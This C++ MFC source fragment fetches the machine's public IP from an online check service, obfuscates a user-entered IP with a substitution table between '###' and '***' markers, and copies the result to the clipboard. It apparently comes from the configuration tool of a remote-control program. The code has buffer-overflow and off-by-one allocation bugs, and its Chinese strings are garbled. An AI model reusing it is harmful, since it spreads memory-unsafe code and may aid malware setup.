int CUpdateDlg::ReplaceStr(char* sSrc, char* sMatchStr, char* sReplaceStr)
{
int StringLen;
char caNewString[64];
char* FindPos;
FindPos =(char *)strstr(sSrc, sMatchStr);
if( (!FindPos) || (!sMatchStr) )
return -1;
while( FindPos )
{
memset(caNewString, 0, sizeof(caNewString));
StringLen = FindPos - sSrc;
strncpy(caNewString, sSrc, StringLen);
strcat(caNewString, sReplaceStr);
strcat(caNewString, FindPos + strlen(sMatchStr));
strcpy(sSrc, caNewString);
FindPos =(char *)strstr(sSrc, sMatchStr);
}
free(FindPos);
return 0;
}
CString CUpdateDlg::GetIPAddress()
{
char buf[MAX_PATH] = {0};
char chTempIp[128]= {0};
CString strPath;
strPath = GetExePath() + "\\netip.ini";
URLDownloadToFile(0,"http://ddns.oray.com/checkip",strPath,0,NULL);
FILE *file=fopen( strPath, "r" );
if ( file != NULL )
{
fseek(file, 0, SEEK_SET);
fread(buf,1,256,file);
fclose(file);
DWORD SizePoint;
SizePoint = memfind(buf,"Address:",sizeof(buf),0);
substr(buf,SizePoint+8,17);
ReplaceStr(buf,":","");
ReplaceStr(buf," ","");
ReplaceStr(buf,"<","");
ReplaceStr(buf,"/","");
ReplaceStr(buf,"b","");
ReplaceStr(buf,"o","");
ReplaceStr(buf,"d","");
ReplaceStr(buf,"y","");
DeleteFile(strPath);
}
CString strTemp="";
int len = strlen(buf);
if(len>0)
{
strTemp.Format("%s",buf);
}
return strTemp;
}
void CUpdateDlg::OnDnsipjiami()
{
// TODO: Add your control notification handler code here
UpdateData(TRUE);
// m_long_ipjm.EnableWindow(FALSE);
int arr[10][15]= {'s','t','u','v','w','x','y','z','a','b','c','d','e','f','g','t','u','v','w','x','y','z','a','b','c','d','e','f','g','h','u','v','w','x','y','z','a','b','c','d','e','f','g','h','i','v','w','x','y','z','a','b','c','d','e','f','g','h','i','j','w','x','y','z','a','b','c','d','e','f','g','h','i','j','k','m','n','o','p','q','r','s','t','u','v','w','x','y','z','a','n','o','p','q','r','s','t','u','v','w','x','y','z','a','b','o','p','q','r','s','t','u','v','w','x','y','z','a','b','c','p','q','r','s','t','u','v','w','x','y','z','a','b','c','d','q','r','s','t','u','v','w','x','y','z','a','b','c','d','e'};
int D[15]={'r','s','t','u','v','w','x','y','z','a','b','c','d','e','f'};
char *ip=new char[strlen(m_EDIT_DnsIP)];
strcpy(ip,m_EDIT_DnsIP);
for (int x=0;x<strlen(ip);x++)
{
if (ip[x]=='.')
{
ip[x] = D[x];
}
else
ip[x] = arr[ip[x]-48][x];
}
char B15[] = {'#','#','#','\0'};
char B16[] = {'*','*','*','\0'};
CString stIP=ip;
stIP = B15+stIP+B16;
if ((strlen(stIP)>21) || (strlen(stIP)<13))
{
SetDlgItemText(IDC_EDIT_DNSIPJIAMI,"IPÊý¾Ý²»ÕýÈ·");
}
else
SetDlgItemText(IDC_EDIT_DNSIPJIAMI,stIP);
// m_long_ipjm.EnableWindow(TRUE);
}
void CUpdateDlg::OnDnsipsjfz()
{
// TODO: Add your control notification handler code here
UpdateData(TRUE);
CString strText1 = m_EDIT_DnsIPjiami;
//½«ÄÚÈݱ£´æµ½¼ôÌù°å¡£
if (!strText1.IsEmpty())
{
if (OpenClipboard())
{
EmptyClipboard();
HGLOBAL hClipboardData = GlobalAlloc(GHND | GMEM_SHARE, (strText1.GetLength() + 1) * sizeof(TCHAR));
if (hClipboardData)
{
TCHAR* pszData = (TCHAR *)GlobalLock(hClipboardData);
strcpy(pszData, strText1);
GlobalUnlock(hClipboardData);
SetClipboardData(CF_TEXT, hClipboardData);
}
CloseClipboard();
}
MessageBox("¸´ÖƳɹ¦!","Ìáʾ...", MB_ICONINFORMATION);
}
}